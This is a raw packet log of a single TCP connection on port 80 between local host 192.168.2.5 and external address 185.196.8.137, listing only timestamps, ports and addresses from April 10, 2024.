Apr 10, 2024 10:24:11.753511906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.754158020 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.754261971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.754796982 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.754997969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.754997969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.754997969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.754997969 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755017042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755060911 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.755212069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755212069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755212069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755212069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755292892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755292892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755292892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755306005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755362988 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.755398989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755398989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755398989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755398989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755516052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755517006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755531073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.755635023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755635023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755635023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755635023 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755728960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.755841017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755841017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755841017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755841017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755954981 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.755976915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755976915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755976915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.755976915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756102085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756102085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756102085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756102085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756102085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756181002 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.756216049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756216049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756216049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756216049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756242990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756287098 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.756288052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756443977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756444931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756444931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756568909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756591082 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.756663084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756663084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756663084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756707907 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.756752014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756752014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756762028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756886005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756886005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756886005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.756911039 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.757199049 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.757368088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.757514000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.758291960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.758555889 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.758615971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.758717060 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.759123087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759145021 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.759150982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759162903 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.759358883 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.759500980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.759521008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759629011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759629011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759630919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.759680986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759794950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759794950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759794950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759794950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759794950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759901047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759901047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759901047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759901047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759901047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759994030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759994030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759994030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.759994030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760032892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.760104895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760104895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760104895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760104895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760128975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760236979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760236979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760236979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760236979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760236979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760261059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760292053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760292053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760386944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.760411978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760411978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760411978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760411978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760411978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760499954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760499954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760499954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760602951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760602951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760602951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760602951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760602951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760715961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760715961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760715961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760715961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760715961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760732889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760821104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760821104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760821104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760821104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760895014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760895014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760895014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760992050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760992050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760992050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760992050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.760992050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761081934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761081934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761081934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761081934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761199951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761199951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761199951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761199951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761199951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761255980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.761291981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761291981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761291981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761291981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761399031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.761421919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761421919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761421919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761421919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761423111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761459112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761482954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761574030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761574030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761574030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761574030 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761604071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.761657000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761657000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761657000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761708975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.761714935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761714935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761714935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761739016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761759043 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.761774063 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.761837006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761837006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761837006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761862040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761878014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761917114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761917114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.761930943 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.762023926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762023926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762023926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762023926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762062073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.762123108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762123108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762123108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762123108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762217045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762217045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762217045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762217045 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762238979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762394905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762394905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762394905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762394905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762394905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762429953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762476921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.762506962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762506962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762506962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762506962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762553930 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.762598991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762598991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762598991 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762698889 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.762701988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762701988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762701988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762701988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762701988 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.762924910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.763082981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.763082981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.763082981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.763083935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.763113976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.763134003 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.766721010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.766777039 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.766797066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.766835928 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.767117977 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.767349005 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.767549992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.767633915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.767647982 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.767689943 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.768291950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.768753052 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.768996000 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.769010067 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.769515038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.769650936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.769718885 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.769805908 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.769920111 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.770057917 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.770071983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.770116091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.770307064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.770400047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.770540953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.770555019 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.770757914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.770771980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.770910025 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.771136999 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.771212101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.771461964 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.771476984 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.772197008 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.772300959 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.772603989 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.772680998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.773072958 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.773255110 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.773271084 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.773417950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.773610115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.773669004 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.773742914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.774185896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.774527073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.774626970 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.774986029 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.775115013 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.775228024 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.775433064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.775516987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.775599003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.776279926 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.776294947 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.776566029 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.776906013 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.776942968 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.777076006 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.777235031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.777528048 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.778022051 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.778068066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.778148890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.778223038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.778477907 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.778670073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.778683901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.778697014 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.778822899 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.778850079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.778949022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.778949022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.778949022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779063940 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.779087067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779087067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779087067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779087067 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779217005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779217005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779217005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779217005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779217005 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779247046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.779263020 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.779495001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779495001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779495001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779495001 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779524088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779527903 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.779627085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779627085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779627085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779700041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779700041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779700041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.779762030 CEST	49718	80	192.168.2.5	185.196.8.137
